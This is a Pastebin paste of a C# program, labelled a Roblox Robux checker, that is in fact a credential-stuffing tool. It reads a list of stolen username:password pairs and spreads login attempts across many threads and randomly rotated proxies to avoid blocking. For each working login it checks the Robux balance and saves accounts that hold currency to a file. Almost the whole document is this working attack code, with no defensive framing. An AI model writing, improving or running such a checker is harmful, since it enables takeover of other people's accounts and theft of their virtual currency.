Guest User

Simple Roblox Robux Checker

a guest
Feb 18th, 2018
32
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 5.65 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Threading.Tasks;
  6. using System.Net;
  7. using System.IO;
  8.  
  9. namespace Robuster
  10. {
  11.     class Program
  12.     {
  13.         static void Main(string[] args)
  14.         {
  15.  
  16.             const string USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.167 Safari/537.36";
  17.  
  18.             Console.WriteLine("Enter combo path: ");
  19.             string comboPath = Console.ReadLine();
  20.  
  21.             Console.WriteLine("Enter proxy path: ");
  22.             string proxyPath = Console.ReadLine();
  23.  
  24.             Console.WriteLine("Enter max threads: ");
  25.             int maxThreads = Int32.Parse(Console.ReadLine());
  26.  
  27.             string[] alts = File.ReadAllLines(comboPath);
  28.             List<string> proxies = File.ReadAllLines(proxyPath).ToList();
  29.  
  30.             object locker = new object();
  31.  
  32.             Parallel.ForEach(
  33.                 alts,
  34.                 new ParallelOptions { MaxDegreeOfParallelism = maxThreads },
  35.                 a =>
  36.                 {
  37.                     try
  38.                     {
  39.                         CookieContainer cc = new CookieContainer();
  40.                         string[] alt = a.Split(':');
  41.                         string proxy = proxies[new Random().Next(proxies.Count)];
  42.  
  43.                         string post = $"&username={alt[0]}&password={alt[1]}";
  44.                         bool isWorkingProxy = false;
  45.  
  46.                         while (!isWorkingProxy)
  47.                         {
  48.                             try
  49.                             {
  50.  
  51.                                 WebProxy proxyToUse = new WebProxy(proxy);
  52.  
  53.                                 HttpWebRequest req = (HttpWebRequest)WebRequest.Create($"https://api.roblox.com/v2/login");
  54.                                 req.UserAgent = USER_AGENT;
  55.                                 req.Timeout = 5000;
  56.                                 req.Method = "POST";
  57.                                 req.CookieContainer = cc;
  58.                                 req.Proxy = proxyToUse;
  59.                                 req.ContentType = "application/x-www-form-urlencoded";
  60.  
  61.                                 byte[] data = Encoding.ASCII.GetBytes(post);
  62.                                 req.GetRequestStream().Write(data, 0, data.Length);
  63.  
  64.                                 using (req.GetResponse()) { }
  65.  
  66.                                 req = (HttpWebRequest)WebRequest.Create("https://api.roblox.com/currency/balance");
  67.                                 req.UserAgent = USER_AGENT;
  68.                                 req.Timeout = 5000;
  69.                                 req.Method = "GET";
  70.                                 req.CookieContainer = cc;
  71.                                 req.Proxy = proxyToUse;
  72.                                 req.ContentType = "application/x-www-form-urlencoded";
  73.  
  74.                                 using (HttpWebResponse rep = (HttpWebResponse)req.GetResponse())
  75.                                 using (var reader = new StreamReader(rep.GetResponseStream()))
  76.                                 {
  77.                                     string response = reader.ReadToEnd();
  78.                                     response = response.Split(':')[1].Replace("}", "");
  79.                                     Console.WriteLine($"Account {a} working - Robux: {response}");
  80.  
  81.                                     int robux = 0;
  82.                                     if(Int32.TryParse(response, out robux) && robux > 0)
  83.                                     {
  84.                                         lock(locker)
  85.                                         {
  86.                                             using (StreamWriter sw = new StreamWriter("accounts.txt", true))
  87.                                             {
  88.                                                 sw.WriteLine($"{a}:{response}");
  89.                                             }
  90.                                         }
  91.                                     }
  92.                                 }
  93.  
  94.                                 isWorkingProxy = true;
  95.  
  96.  
  97.                             }
  98.                             catch (WebException ex)
  99.                             {
  100.                                
  101.                                 if (ex.Response != null)
  102.                                 {
  103.                                     using (var reader = new StreamReader(ex.Response.GetResponseStream()))
  104.                                     {
  105.                                         if(reader.ReadToEnd().Contains("Incorrect username or password. Please try again."))
  106.                                         {
  107.                                             Console.WriteLine($"Account NOT working: {a}");
  108.                                             isWorkingProxy = true;
  109.                                         }
  110.                                         else
  111.                                         {
  112.                                             proxy = proxies[new Random().Next(proxies.Count)];
  113.                                         }
  114.                                     }
  115.                                 }
  116.                                 else
  117.                                 {
  118.                                     proxy = proxies[new Random().Next(proxies.Count)];
  119.                                 }
  120.                                
  121.                             }
  122.                             catch (Exception ex) { }
  123.                         }
  124.                     }
  125.                     catch(Exception ex) { }
  126.                 });
  127.  
  128.             Console.WriteLine("\n\nFinished");
  129.             Console.ReadLine();
  130.         }
  131.     }
  132. }
Add Comment
Please, Sign In to add comment